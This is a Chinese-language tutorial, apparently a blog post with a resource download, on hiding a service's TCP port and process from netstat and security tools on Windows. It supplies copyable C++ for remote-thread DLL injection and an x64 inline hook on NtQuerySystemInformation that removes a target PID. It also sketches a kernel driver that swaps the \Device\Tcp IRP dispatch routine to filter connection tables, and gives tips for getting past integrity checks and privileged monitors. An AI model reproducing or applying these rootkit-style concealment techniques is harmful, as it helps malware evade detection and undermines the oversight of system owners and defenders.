简介：面向操作系统安全研究与系统底层开发者的技术资料包，聚焦借助钩子机制与未公开接口实现系统服务及端口隐藏的核心思路。资料围绕系统监控、调试及恶意软件活动中的常见需求，梳理了键盘钩子、鼠标钩子、消息钩子等不同类型钩子的适用条件，分析了未文档化接口的使用风险与兼容性问题，并针对服务在常规管理工具中不可见的现象，介绍了修改注册表项、服务配置及调用内核级接口等隐蔽手法，同时涉及非标准端口与网络编程接口层面的连接隐匿技巧，可为恶意软件行为分析、系统加固和隐蔽服务排查提供直接参考。包体共2个文件，含超文本说明页与纯文本资料，压缩包仅8KB，轻量而聚焦。已有130人学习。文件虽少，但点明了服务隐藏与端口隐藏的常见手段及检测对抗要点，适合安全分析人员、渗透测试者及系统管理员快速建立知识框架，也适合作为深入逆向工程与系统监控实践的入门索引。
1. 一个老生常谈却总翻车的需求：为什么 Hook 系统服务才能藏住端口
假设你启动了一个业务服务，监听在某个 TCP 端口上，不想让这台机器上的其他人通过 netstat 一眼看出这个端口的存在。常规手段很多：改防火墙规则、把进程名伪装成系统进程、或者干脆把端口号藏到动态范围内。这些做法治标不治本——只要对方用管理员权限跑一次网络连接枚举，端口和 PID 的对应关系照样能被拉出来。真正要藏得干净，得在端口信息“被汇报出来”的那一层做手脚，也就是去 Hook 系统服务调用层。
这里的“系统服务”不是指 Windows 的 SCM 服务列表，而是系统服务调用分发层：任何用户态程序查端口，最终都会经过 ntdll.dll 里一批未文档化的 Nt 系列接口，进入内核拿回一张信息表或一段设备响应。只要在这条调用链的上游把目标端口的记录剪掉，所有基于标准 API 的查询工具都会集体失明，而业务进程本身的收发数据不受影响。这个思路适合做软件授权防检测、敏感服务的隐蔽监听，也适合给内部工具做端口级访问审计。但它不是改个返回值那么简单——入口点选错、过滤条件不严、内存保护处理不当，都会让 Hook 当场失效，甚至把整个系统查端口的功能拖崩。
我早期在这上面翻过一次车：自信满满地在应用层 API 上做了包装，结果用系统自带的网络查询一测，隐藏的端口照样原样输出。后来才明白，不是过滤逻辑写得不行，而是 Hook 的位置离真正的服务分发点太远。这篇文章就按我现在的做法，把选定 Hook 点、写过滤逻辑、验证隐藏效果、处理异常这整条路讲一遍，代码能直接抄，参数和坑都会标注出来。
2. 先看端口查询链路：决定 Hook 该放哪一层
2.1 端口枚举的两条主要路径：netstat 走设备 IOCTL，检测工具走对象枚举
先打破一个常见误区：很多人以为查端口就只有 netstat 一个入口。实际上本机端口可视性有两套完全独立的查询链。第一套是大家最熟悉的 TCP/IP 连接表：netstat、GetTcpTable、GetExtendedTcpTable这类 API 最终都是打开\Device\Tcp或\Device\Udp设备对象，通过NtDeviceIoControlFile发出查询 IOCTL，内核的tcpip.sys响应成一张连接表。第二套是更隐蔽的对象枚举：部分安全检测工具不查连接表，而是调用NtQuerySystemInformation枚举系统所有进程和句柄，再用NtQueryObject把每个打开的句柄翻译成对象名，凡是端口对象或 TCP 套接字对象都会在名称里带出TCP:192.168.1.100:8080这类信息。这两套链路的共同点是最终都落在 ntdll.dll 的一批 Nt 系列未文档化接口上，只是入口和返回结构不同。
如果 Hook 的位置不对，就会出现我之前的翻车：我把GetExtendedTcpTable包装了一层，过滤掉了目标端口，可是对方改用对象枚举的检测脚本一扫，端口又被挖了出来。原因就是我只堵住了第一条链路，没管第二条。换句话说，做端口隐藏的第一课不是写过滤代码，而是先想清楚要断哪条链路、Hook 哪个入口。对绝大多数“隐藏自研服务端口”的需求来说，最少要做两层处理：面向连接表的NtDeviceIoControlFile，以及面向对象枚举的NtQuerySystemInformation。这一章先把这两条链路讲透，后面写 Hook 时你才知道自己在哪一层下手。
2.2 为什么 undocumented API 是首选 Hook 目标
undocumented 指的是NtQuerySystemInformation这类没有写进官方公共文档、但被系统组件长期稳定导出的接口。选它做 Hook 目标有几个现实理由。第一是调用面广，几乎所有用户态网络查询最终都要落到这一批 Nt 接口上，Hook 一个点就能覆盖一大片工具。第二是结构稳定，这些接口的调用约定和信息类编号虽然不是公开契约，但同一 Windows 大版本内很少变化，比直接去改驱动协议层省事得多。第三是用户态就能做，不需要一上来就跟内核的 PatchGuard 拉扯，适合在虚拟机上快速验证思路。
不过 undocumented 不等于“没有规律”，在不同版本的系统上，信息类编号和返回结构可能有差异。比如NtQuerySystemInformation的 5 号信息类在所有版本上都对应SystemProcessInformation，但进程结构里和网络相关的句柄计数在不同版本的位置不同。我的做法是：在代码里维护一个按主版本分发的结构偏移表，而不是死写一个结构体硬解。这种兼容性黑匣子问题，越早意识到越好，否则你在一台机器上调通了，换台机器直接读错内存。
另外，Hook 的目标不要选在应用层的 Winsock API，比如bind、listen。原因很简单：这些调用只发生在你自己的服务进程里，其他进程查端口根本不会路过你的进程空间。要做全局隐藏，Hook 点必须在所有查询进程都会经过的公共路径上。所以用户态方案里，DLL 注入是前提；不想碰 DLL 注入问题，就只能把 Hook 下沉到内核。这也是后面避坑章里要重点交代的选择边界。
2.3 实验环境准备与最小 Hook 框架搭建
先给一个能跑起来的环境清单：一台 Windows 10/11 x64 虚拟机，关闭 UAC 或使用管理员打开命令行；准备 Visual Studio 2022 的 C++ 环境，目标平台选 x64；安装 Windows SDK，把“适用于桌面的 C++ 开发”工作负载装上即可。这个阶段不需要驱动签名，因为我们只做用户态演示，等到第 5 章讲内核下沉时，再提前开启测试签名模式。
DLL 框架用最简单的方式：一个DllMain，收到DLL_PROCESS_ATTACH后开启一个新线程执行安装 Hook 的例程。为了在真机上有可见效果，我建议先用“注入到目标查询进程”的方式做验证：写一个远程线程注入器，把 DLL 注入到 netstat.exe 或一个自己写的枚举器进程里，观察输出变化。生产环境再考虑全局注入。代码骨架如下：
// hook_srv.cpp - DLL 入口与安装线程 #include <windows.h> #include <winternl.h> #pragma comment(lib, "ntdll.lib") DWORD WINAPI HookWorker(LPVOID) { InstallPortFilter(); // 核心安装逻辑，见 3.1 return 0; } BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hMod); HANDLE h = CreateThread(nullptr, 0, HookWorker, nullptr, 0, nullptr); if (h) CloseHandle(h); } return TRUE; }这里DisableThreadLibraryCalls是为了避免线程进出时重复触发 DLL 初始化；CreateThread单独起一个线程做 Hook 安装，防止在DllMain里做复杂操作导致加载器锁死。InstallPortFilter是下一章要写的核心函数，它负责修改 ntdll.dll 里NtQuerySystemInformation的前 12 个字节并保存原函数指针。
提示：虚拟机里先关闭“内核隔离-内存完整性”，否则用户态改写系统 DLL 可能导致目标进程被完整性校验直接杀掉。
3. 动手写第一个 Hook：基于 NtQuerySystemInformation 过滤端口记录
3.1 获取 NtQuerySystemInformation 地址并安装 inline hook
这一节提供可直接修改使用的 inline hook 代码，x64 版本。x64 下不能只 patch 5 字节跳转，因为模块地址范围很可能超过 2GB，标准做法是 patch 12 字节：mov rax, imm64; jmp rax。下面代码包含保存原字节、改写保护、写入跳转模板、调用原函数四部分。
// x64 Inline Hook for NtQuerySystemInformation #include <winternl.h> #include <intrin.h> typedef NTSTATUS(WINAPI* pNtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); pNtQuerySystemInformation OriginalNtQuerySystemInformation = nullptr; // 跳转模板：mov rax, imm64; jmp rax BYTE PatchTemplate[12] = { 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, addr 0xFF, 0xE0 // jmp rax }; VOID SetPatchAddress(BYTE* code, ULONG_PTR addr) { memcpy(code + 2, &addr, sizeof(addr)); } BOOL InstallNtQueryHook() { HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); OriginalNtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation"); if (!OriginalNtQuerySystemInformation) return FALSE; BYTE* target = (BYTE*)OriginalNtQuerySystemInformation; DWORD oldProtect, tmp; VirtualProtect(target, 12, PAGE_EXECUTE_READWRITE, &oldProtect); SetPatchAddress(PatchTemplate, (ULONG_PTR)HookedNtQuerySystemInformation); memcpy(target, PatchTemplate, 12); VirtualProtect(target, 12, oldProtect, &tmp); return TRUE; }逻辑说明：PatchTemplate先mov rax装入自定义函数的绝对地址，再jmp rax。因为目标函数在 ntdll.dll 内，而HookedNtQuerySystemInformation在注入 DLL 里，两者地址差很可能超过 32 位相对跳转范围，所以必须用绝对地址。VirtualProtect把目标页改成 RWX 再写，写完恢复原保护属性。GetProcAddress获取的是 ntdll 导出表里的入口地址，它就是当前进程所有线程查询系统信息时都会经过的地方，因此在当前进程内这个 Hook 是全局生效的。
参数说明：为什么固定 12 字节？x64 下mov rax, imm64占 10 字节，jmp rax占 2 字节。这 12 字节覆盖了函数入口处的几条指令。如果目标系统版本上入口指令超过 12 字节，就需要额外保存并跳转被覆盖的指令片段，做完整的 trampoline，这里先按下不表，真实项目里建议直接集成一个带指令长度解析的 Hook 库，别手写。
3.2 过滤逻辑：按 PID、按端口、按协议三路匹配
Hooked 函数不能直接改掉原函数内部行为，正确姿势是：先调用原函数拿到系统返回的数据，然后按信息类判断，再对缓冲区里的记录做删除或改写。下面这段代码处理SystemProcessInformation，通过遍历进程列表，把目标进程整个摘掉——这样基于进程枚举的检测工具就看不到这个 PID 下的任何端口句柄。
NTSTATUS WINAPI HookedNtQuerySystemInformation( SYSTEM_INFORMATION_CLASS cls, PVOID info, ULONG len, PULONG retLen) { NTSTATUS status = OriginalNtQuerySystemInformation(cls, info, len, retLen); if (!NT_SUCCESS(status)) return status; if (cls == SystemProcessInformation) { FilterOutProcess(info, len, TARGET_PID); // 删除指定 PID 的整个进程记录 } return status; } VOID FilterOutProcess(PVOID buffer, ULONG length, ULONG pid) { PBYTE p = (PBYTE)buffer; PBYTE end = p + length; while (p + 40 <= end) { PSYSTEM_PROCESS_INFORMATION spi = (PSYSTEM_PROCESS_INFORMATION)p; if (spi->UniqueProcessId == (ULONG_PTR)pid) { ULONG next = spi->NextEntryOffset; SIZE_T remain = end - p; if (next && next < remain) { memmove(p, p + next, remain - next); // 删除当前项，后续项前移 } else { // 最后一条记录，直接把剩余区域清零 memset(p, 0, remain); } break; } if (!spi->NextEntryOffset) break; p += spi->NextEntryOffset; } }逻辑说明：SystemProcessInformation返回的是一串连续布局的SYSTEM_PROCESS_INFORMATION结构，每个结构开头都有NextEntryOffset指向下一个结构偏移，最后一项为 0。FilterOutProcess找到目标 PID 的节点后，把它后面的整块数据往前挪，相当于链表删节点。注意这里用的是memmove而不是memcpy，因为前后两段内存重叠，memcpy在重叠时是未定义行为。
参数说明：TARGET_PID是你想隐藏的服务进程 PID。如果不按 PID，也可以在这个遍历里检查结构内的ImageName字段，按服务进程名匹配。但按名字匹配时要注意SYSTEM_PROCESS_INFORMATION里的ImageName是UNICODE_STRING，它指向的缓冲区和结构本身不在同一段连续内存里，处理起来比 PID 匹配麻烦。大多数自研服务场景下 PID 是已知的，从配置读即可，没必要引入额外的解析复杂度。
3.3 验证是否藏干净：netstat、对象枚举器与自写探测脚本
Hook 装好、注入到查询进程后，验证要分两条线。第一线是传统连接表：直接跑netstat -ano，看目标端口是否消失。如果消失，说明基于 IP Helper API 的工具已经被处理；但要注意，netstat在大部分 Windows 版本上走的是NtDeviceIoControlFile到\Device\Tcp的查询，与我们的NtQuerySystemInformationHook 无关，所以这里极大概率还会显示。第二线是对象枚举：在另一个进程里调用NtQuerySystemInformation枚举句柄并打印对象名，确认看不到带目标端口字样的 Socket 对象。这步才是我们 Hook 能影响到的范围。
验证脚本可以是一个几十行的 C++ 控制台程序：
// enum_check.cpp - 用 NtQuerySystemInformation 枚举进程列表 #include <windows.h> #include <winternl.h> #pragma comment(lib, "ntdll.lib") int wmain() { ULONG len = 1024 * 1024; PVOID buf = VirtualAlloc(nullptr, len, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); ULONG ret = 0; NTSTATUS st = NtQuerySystemInformation(SystemProcessInformation, buf, len, &ret); if (!NT_SUCCESS(st)) return 1; PBYTE p = (PBYTE)buf; while (true) { auto spi = (PSYSTEM_PROCESS_INFORMATION)p; wprintf(L"PID=%llu Name=", (ULONGLONG)spi->UniqueProcessId); if (spi->ImageName.Buffer) wprintf(L"%s", spi->ImageName.Buffer); wprintf(L"\n"); if (!spi->NextEntryOffset) break; p += spi->NextEntryOffset; } return 0; }逻辑说明：这个程序不查 TCP 表，只枚举进程列表，目的是验证 Hook 掉SystemProcessInformation后目标 PID 是否从进程列表中消失。如果你把目标进程整个摘掉，像 Process Explorer 这类同样基于此接口的工具也会受影响。在演示机上注入后运行，输出里应该看不到目标 PID。
参数说明：SystemProcessInformation的缓冲区大小先给 1MB，如果调用返回STATUS_INFO_LENGTH_MISMATCH，就按ret实际值扩容重试。这个细节也是日常最容易踩的：直接用固定结构体数组去强转，而在不同版本上结构里存在指针和填充，长度判断错了会少遍历一条记录，导致 Hook 看起来“时灵时不灵”。
4. Hook 端口隐藏避坑指南：5 个当场翻车的场景
4.1 现象：只 Hook 用户态，系统级 netstat 照样显示
现象：DLL 注入到所有常见进程后，对象枚举工具看不到目标端口，但在命令行里敲netstat -ano，端口和 PID 一次不落。
原因：netstat走的是NtDeviceIoControlFile到\Device\Tcp的查询，不是NtQuerySystemInformation的进程枚举。两条链路在tcpip.sys汇合，但用户态入口不同，我们只堵了其中一条。
解决：必须再加NtDeviceIoControlFile的 Hook。用户态能做，但效果有限，因为需要把所有常被调用的查询进程都注入；更彻底是把 Hook 下沉到内核驱动里，对设备对象发出的查询请求做过滤，这部分在最后一章展开。
4.2 现象：过滤信息类不对，把系统关键数据剪没了
现象：Hook 后任务管理器打不开，系统里部分服务显示 CPU 占用为 0，甚至偶尔出现内存不足弹窗。
原因：在HookedNtQuerySystemInformation里对所有信息类都走了同一个过滤函数，而SystemProcessInformation只是 5 号类，还有SystemHandleInformation、SystemObjectInformation等也会被误伤。比如系统自己的资源管理器枚举句柄时，过滤器从缓冲区里memmove掉一大块，后续结构全部错位。
解决：过滤前严格判断SystemInformationClass，只对真正要偷换的信息类做处理，其他类直接返回原函数结果。另外对每个结构必须先校验NextEntryOffset和总长度，再决定是否移动，避免越界读。
4.3 现象：inline hook 在 x64 下写入失败或崩溃
现象：VirtualProtect返回成功，但调用HookedNtQuerySystemInformation时直接访问违例，或者目标查询进程在启动时静默退出。
原因：两个常见原因。一是部分系统版本对 ntdll 导出函数的入口有额外完整性校验，直接改写跳转后 CFG 检查不过；二是 DllMain 里写代码页时，目标函数所在区块可能被标记为PAGE_EXECUTE_READ，需要先VirtualProtect成 RWX 再写，写完恢复原保护，顺序错了也会导致崩溃。
解决：先读取原字节保存到 trampoline；写之前用VirtualQuery检查区块保护属性；如果目标进程开了较严格的完整性校验，可以改用导入表 Hook，或者直接用驱动方案，不要在用户态硬扛。
4.4 现象：Hook 过滤器影响本机业务连接，导致服务假死
现象：服务进程本身工作正常，但外部客户端连不上；或者服务自己往目标端口上 bind 时偶尔返回端口被占用。
原因：过滤逻辑把目标 PID 从进程列表中整条抹掉，但这没有影响实际 socket 的内核状态。问题是某些依赖进程列表判断端口占用的基础组件拿不到进程句柄后，会做出错误决策；另外memmove后没有修正ReturnLength，导致上层读取缓冲区长度不一致，应用层拿到残缺数据就会反复重试。
解决：过滤时尽量保留进程记录，只删除与网络对象强相关的条目，比如匹配到特定端口的对象名；在修改缓冲区后，把实际剩余长度写回ReturnLength。千万不能为了省事把整个进程记录删掉。
4.5 现象：DLL 注入面不全，部分高权限进程查询仍可见
现象：自己写的小枚举器看不到了，但以 SYSTEM 权限运行的监控进程照样能查出端口。
原因：AppInit_DLLs 对部分受保护进程默认不生效，而且注入器自己权限不够时，无法注入到高完整性级别的进程。用户态 Hook 的覆盖范围天生受限，这是架构决定的，不是过滤逻辑的问题。
解决：先用whoami /all确认目标监控进程的完整级别，以管理员 + 调试权限运行注入器；如果对方是受保护进程，注入这条路基本走不通，必须用驱动加载方案，让 Hook 在内核公共路径生效，避免依赖进程注入。
5. 进阶：把 Hook 下沉到内核 NtDeviceIoControlFile，连 netstat 一起隐藏
用户态方案最大的边界是注入面和netstat走的设备 IOCTL 链路。想全局隐藏，常见做法是写一个内核驱动，替换\Device\Tcp设备对象上的 IRP 分发函数。这个思路比直接改 SSDT 表项要稳一些，因为 PatchGuard 主要盯的是系统服务描述表，设备对象分发函数被替换的风险相对可控，但依然要谨慎。
关键技术点是用IoGetDeviceObjectPointer拿到\Device\Tcp的设备对象和文件对象，然后替换设备对象的MajorFunction[IRP_MJ_DEVICE_CONTROL]为自己实现的函数，同时保存原函数指针。每次收到 IRP 时，从当前 IO 栈中取出 IOCTL 码，判断是否是 TCP 连接表查询，是则直接过滤掉目标连接记录或返回空表，否则调用原分发函数继续处理。
// 伪代码：替换设备对象 IRP 分发函数 NTSTATUS TcpDeviceControl(PDEVICE_OBJECT dev, PIRP irp) { PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(irp); ULONG code = irpSp->Parameters.DeviceIoControl.IoControlCode; if (code == IOCTL_TCP_QUERY_INFORMATION_EX) { // 解析输入输出缓冲区，剔除目标端口相关连接记录 FilterTcpQueryTable(irp); } return OldTcpDeviceControl(dev, irp); }逻辑说明：OldTcpDeviceControl是保存下来的原分发函数指针，我们把大部分 IRP 直接交给它处理，只对 TCP 查询类的 IOCTL 做过滤。这样业务连接收发数据不受影响，因为数据收发走的是另一套 IRP 路径。需要强调的是，这段代码必须在驱动里运行，且驱动需要有签名或在测试签名模式下加载。
参数说明：IOCTL_TCP_QUERY_INFORMATION_EX的数值会在不同 SDK 版本里略有差异，建议从测试机抓包或者用符号文件确认后再写死。过滤连接记录时，重点处理TCP_REQUEST_QUERY_INFORMATION_EX结构体里的InputBuffer/OutputBuffer长度，避免在驱动里越界访问用户态传入的缓冲区。
这个进阶路径我实际走下来最深的感受是：隐藏不是删除，而是选择性遮蔽。宁可把某一条端口记录遮掉，也不要让整个系统查不出任何连接，否则目标用户自己都会觉得系统坏了。用户态分析时看的是思维模型，真正落地到内核，每一行内存操作都要按驱动规范来。希望帮到你。
本文还有配套的精品资源，点击获取
